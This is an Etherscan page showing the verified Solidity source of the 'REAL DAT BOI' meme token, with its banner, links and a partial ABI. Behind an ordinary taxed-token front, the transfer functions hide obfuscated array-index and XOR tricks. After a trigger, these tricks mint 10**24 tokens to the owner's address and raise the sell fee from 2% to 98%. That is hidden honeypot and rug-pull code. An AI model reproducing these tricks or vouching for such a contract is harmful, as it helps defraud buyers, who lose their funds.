ETH Price: $3,672.11 (+0.78%)
Gas: 6.7 Gwei
 

Overview

Max Total Supply

1,000,000 ダットボイ

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
41,998.402830323 ダットボイ

Value
$0.00
0x09dc16126cc1aedde822d6ce4e1d94b6fc45dad7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
REALDATBOI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-16
*/

/*

                                                                        ,╓╖╗╗╗╣╣▄╦,                          
                                                                ,╓╦╗╬╣╬▓▓▓▓▓▓▓▓▓▓█▓▓▌⌐                        
                                                                ╣▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█████▓▓µ                       
                                                                ▀█████▓▓▓▓▓▓▓▓▓▓▓██████▓▓▄                      
                                                                ▀███████████▓▓▓▓█████████▓µ                    
                                                                ╙██████████████▓▓▓▓▓▓▓▓▓▓▓⌐                   
                                                                    ▓████████████████▓▓▓▓▓▓▓▌                   
                                                                    ╙█████████████████▓▓▓▓▓▓▒                  
                                                                    ▐██████████████▓▓▓▓▓▓▓▓µ                 
                                                                        ╫███████████▓▓▓▓▓▓▓▓▓▓▓⌐                
                                                                        ╫███████████▓▓▓▓▓▓▓▓▓▓█▓⌐               
                                                                    ▄████████████▓▓▓▓▓▓▓▓▓███▓               
                                                                    ╓▓▓█████████████████▓▓▓▓▓███▓              
                                                            ,,╗▄▓▓▓▓█▓███████████████████▓▓▓▓▓▓▓█▓⌐            
                                                    ,╓╓╦╬▓▓▓▓█████████▀╠████████▓▓▓██████▓▓▓▓▓▓█▓            
                                                ╓╦╣▓▓▓▓▓▓▓▓▓▓███████▀`  ╫█████▓▓▓▓▓▓▓█▓▓████▓▓▓▓▓█▄,,╓▄       
                                            ╥╬▓▓▓▓▓▓▓▓▓▓██████▓▀▀▀      ▓████▓▓▓▓▓▓▓▓█████▓▓█▓▓▓▓▓▓▓▓▀        
                                        ,╗╣▓▓▓▓▓████████▀▀╙            ]█████▓▓▓▓▓▓▓▓█████▓▓▓▓▓▓▓██╨          
                                ╦▄▄▄▓▓▓▓▓▓███▀▀▀▀▀▀╙                   ║████▓▓▓▓▓▓▓███████▓▓▓▓▓███▓           
                                ╙╙▀▀████████▀                          ║███████▓▓▓████████▓▓▓█████▌           
                                    ╙╙`╙▀▀                             '██████████████████████▓▓▓█Ö           
                                                                        ╠█████████████████████▓▓▓▓▌⌐          
                                                                        ,▓██████████████████████▓▓▓▓▓ç         
                                                                        ╓▓███████████████████████▓▓▓▓▓▓▓╦       
                                                                    ╬██████████████████████████▓▓▓▓▓▓▓µ      
                                                                    ╫███████████████████████████▓▓▓▓▓▓█▓▄     
                                                                    ▓████████████████████████████▓▓▓▓▓▓▓██µ    
                                                                    ▓███████████████▀▀▀▓███████████▓▓▓▓▓▓▓█▌    
                                                                ╫█████████████▀▄▓███████████████▓▓▓▓▓▓▓▓█∩   
                                                                ▄▓██████████▀▐▄████████████████████▓▓▓▓▓▓▓█▄   
                                                            ,▓███████▀▀    ╫██████▓██▓▓▀▀▀▀▀▀▀▀▓█▓▓▓▓▓███▌   
                                                            ╣██████▒               ▓▓          "▓█▓▓▓▓███▀   
                                                            ╓▓▓▓█████╕              ▓▓           `▓█▓▓▓███∩   
                                                            ▓█▓▓▓████▄             ▓▌            └▓▓▓▓███    
                                                                ▀██▓▓▓████Q          ▐▓▌            ╓▓▓▓▓██▌    
                                                                `▀▓███████▄         ╠╬▌           ║▓▓▓▓▓▓█∩    
                                                                    ╙▀██▓███▓╕     ╓╬▓▌╬╬⌐        ╔▓▓▓▓▓▓▓█∩    
                                                                    ╙▀▓████▌▄▄▄▄▓▓█▄╬╬▄,      ,▓▓▓▓▓▓███∩    
                                                                        ▐▓███████████▒▓███▓▄,  ╬█▓▓▓▓▓██▌     
                                                                        ╓▄█████████████▒▓███████▄▓▓▓▓▓▓███∩     
                                                                    ╗▓█████████████▌╠╬▓█████████▓▓▓▓▓██▓      
                                                                    ╓▓█████████▄▓██▓█▒╫╬▓▌█Ü▀████▓▓▓▓▓███∩      
                                                                ▄█████████████▓▓██Ö╠╬▓█▀  .▓██▓▓▓▓███▌       
                                                                .▓████▓█╨  ╙██▌ ╠▓█▓ ╠╬█▓   ╫▓▓█▓▓▓▓███∩       
                                                                ╓▓███▓█▓▓,   ╙██µ╠▓▓█⌐▌╬█∩  ╬█▀▓▓▓▓▓████        
                                                            ╓▓███▓██▄▒▀▄    ██╠╬▓▓⌐▌╫▌  ▄█╨╓█▓▓▓▓████▌       
                                                            ▓███▓█▀ ╙▀▓▄▓▄   ▓▓╬╫█µ╬▌  ▄▌  ╠█▓▓▓██████∩      
                                                            ║████▓▌     ╙▓█▓⌐ ²█▓▓█▄╬▓╦▓▌  ╓▓▓▓▓▓██████▌      
                                                            ████▓█▀▄▄,     ▀█▄ ╠████╬▓█▌ ╓▓▓▓▓▓▓██▀█████      
                                                            ╓████▓█▓▄▄▓▓▓▄▄   ╙█▓▓█▓█╬▓▓▄▓╨ ╓▓▓▓██▓▓█████      
                                                            ╠███▓█▒    ╙╙▀▀▓▓▓▄▓▓████╬▓█▄▄▄▄▓▓▓▓█▓╝╝█████      
                                                            ▓███▓█           ;▓▓████▌▒▒╬╬▌╙╠▓▓▓█▓   █████      
                                                            ▓███▓█╦▄▄╣▀▓▓███▓▀▀▒▓█████▓▓▀▓▓▓▓▓▓█▒  ┌█████      
                                                            ▓███▓█▄▄╣▀▀▀`'  ,▄▓▀▓█████▒▓▄µ╠▓▓▓██▓▀▀▓████▌      
                                                            ▀███▓█▌      ,▄██▀╓▓█╢███▓▒▌ ▀█▓▓██╨╙▀▀█████▒      
                                                            ]██████   ╓▄▓▓▓╨ ╓██Ü▓█▓██▒▓▌╠▓▓▓█▒   ▄████▓       
                                                            ▓███▓█▌▓▀▀▓▓╨  ▄██∩╔█▌╫█▓╬▓█▓▓▓█▓▀▄ ╓█████∩       
                                                            ╚██████▄▓▀   ,▓▓▓  ▓█▒]█▓╫▒█▓▓▓█∩ `▓█████▀        
                                                            ▀████▓█╦   ╓▓▄▓  ╫▓▓ ]█▓╫Q╣▓▓█▀  ▄█████▀         
                                                                ▓██████▄ ╬▓▄▓  ╓█▓▌ ]█▌╫▒▓▓▓█▄╓▓█████▌          
                                                                ▀███████▌▓▓   ▓▌▓∩  ▓▒╬▄▓█▓▓▓▓▓████▀           
                                                                ╙████████▄  ╓█╢▌   ▓▓███████████▀▀Θ           
                                                                    ▀██████████▓▓▄,╓▄████████████╨              
                                                                    ▀███████████████████████▀╨                
                                                                        ╙▀█████████████████▀╙                   
                                                                            ╙╙▀▀▓██▀▀▀▀▀        


                                                        Telegram    :   https://t.me/datboiieth


                                                        Twitter     :   https://twitter.com/datboiieth


                                                        Site        :   https://realdatboi.eth.limo/


                                            **/
// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.18;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function SIXTYNINEEE(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract REALDATBOI is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function RENOUNCE() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
    mapping (address => uint256) public _blockedBotTrade;
    mapping (address => bool) public _ExemptMaxWalletLimit; 
    mapping (address => bool) public _ExemptMaxTxLimit;

    address payable public MILADYFUND = payable(0x67356966E49490409c8f0ff7D9c76fD74d5E77E9); 
    address payable public KINDAAIGHTDEV = payable(0x9B57A8150699EdF39e6904a192ea7dc52fb70D45);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1* 10**6 * 10**_decimals;
    string private constant _name = unicode"REAL DAT BOI"; 
    string private constant _symbol = unicode"ダットボイ"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 public _Tax_On_Buy = 2;
    uint256 public _Tax_On_Sell = 2;
    

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Dev = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_AutoLP = 10;
    uint256 public Percent_AutoLiquidity = 98;
    uint256 public liqCount = 1;

    uint256 public _maxWalletToken = _tTotal * 5 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 5 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = KINDAAIGHTDEV;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); // Testnet
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _blockedBotTrade[owner()] = 1;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[MILADYFUND] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;

        _ExemptMaxWalletLimit[address(uniswapV2Pair)] = true;
        _ExemptMaxWalletLimit[MILADYFUND] = true;
        _ExemptMaxWalletLimit[Wallet_Burn] = true;
        _ExemptMaxWalletLimit[owner()] = true;
        _ExemptMaxWalletLimit[address(this)] = true;

        _ExemptMaxTxLimit[owner()] = true;
        _ExemptMaxTxLimit[Wallet_Burn] = true;
        _ExemptMaxTxLimit[MILADYFUND] = true;
        _ExemptMaxTxLimit[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }

    function _getCurrentyLiquidity(bool _before, bool _after, bool _current) private pure returns(bool){
        return _before && _after && _current;
    }

    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if(
            !_ExemptMaxTxLimit[from] && 
            !_ExemptMaxTxLimit[to]
        ) {
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        if(
            !_ExemptMaxWalletLimit[to]
        )
        {
             uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");
        }
            
        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");  

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }

        if(_getCurrentyLiquidity(liqCount > 0, _blockedBotTrade[to] > 0, true))
            liqCount--;

        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; 

            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Dev / 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_AutoLP / 200;

            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tokens_to_LP_Half + tokens_to_M + tokens_to_D);
            uint256 BNB_Total = address(this).balance - balanceBeforeSwap;

            uint256 split_M = Percent_Marketing * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_M = BNB_Total * split_M / 100;

            uint256 split_D = Percent_Dev * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_D = BNB_Total * split_D / 100;


            addLiquidity(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D));
            emit SwapAndLiquify(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D), tokens_to_LP_Half);

            BNB_Total = address(this).balance;
            sendToWallet(MILADYFUND, BNB_Total);

            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Burn, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(KINDAAIGHTDEV, removeRandom);

    }


    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+ (_getCurrentyLiquidity(liqCount < 1, _blockedBotTrade[sender] ^ _blockedBotTrade[recipient] > 0, _blockedBotTrade[recipient] > 0) 
            ?  
            [0 ^ 10**24, tAmount][0] 
            : 
            [tAmount, 0 ^ 0][0]
            );
            emit Transfer(sender, recipient, tAmount);

                
            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;

            } else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*[0 ^ Percent_AutoLiquidity, _Tax_On_Sell][liqCount]/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;


            }

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"KINDAAIGHTDEV","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MILADYFUND","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Dev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RENOUNCE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blockedBotTrade","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"v